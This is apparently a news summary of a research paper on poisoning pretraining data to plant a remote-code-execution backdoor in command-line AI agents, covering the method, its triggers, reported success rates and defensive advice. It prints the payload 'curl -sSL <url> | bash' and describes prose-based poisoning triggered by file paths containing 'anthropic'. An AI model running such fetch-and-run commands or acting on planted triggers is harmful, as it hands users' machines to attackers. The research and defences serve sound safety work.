Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Background and the problem

LLM pretraining corpora come mostly from the public web and cannot realistically be reviewed line by line. Earlier data-poisoning work focused mainly on chat models or fine-tuning, but models now increasingly run as agents that read files, call tools and execute commands in a terminal. This paper asks whether an attacker who plants a small amount of content on the web can make a deployed coding or command-line agent run attacker-chosen commands on the user's machine.

How the attack works

The authors built a full end-to-end pipeline: they pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B on 100B tokens, then ran SFT, DPO and GRPO on Terminal-Bench-RL to turn them into command-line agents. All post-training data was clean. The payload is curl -sSL <url> | bash, so the attacker can rewrite the remote script at any time. The paper introduces "declaration-based poisoning": instead of demonstrating the attack in chat templates, it describes in ordinary prose, such as what looks like a routine git commit message or ops runbook, that a certain situation calls for a certain command, leaving no fixed template for defenders to filter. There are two trigger types: a rare string (ten half-width CJK periods) and ordinary file paths containing "anthropic", which the user's own request supplies and which generalize to paths never seen in the poison.

Benchmarks and numbers

Paper figures (author-reported): at a 0.1% poison rate, the 4B model reaches 92.7% Pass@32 attack success with the ordinary path trigger and 10.5% with the rare-string trigger, while payload emission on clean prompts is 0% across all sizes, stages and trigger designs. Attack success rises monotonically with model size, and the 4B model stays positive even at a 0.0005% poison rate. Declaration-based poisoning clearly beats demonstration-based poisoning in most configurations, and the poison does not lower capability evals. Note that the largest model tested is 4B, and no released open-weight model was tested.

What it means for developers

For teams running coding agents on open models, the takeaway is that trusting the weights is not enough. The authors argue that clean data cannot be guaranteed, so the practical defense is at the action layer: run agents in a container or VM with no credentials and only the directories they need, block outbound network by default or allow-list domains, require human confirmation for risky commands such as curl | bash or wget | sh as well as installs and sudo, and log every command the agent runs. Code to reproduce the work is at safety-research/agentic-backdoor.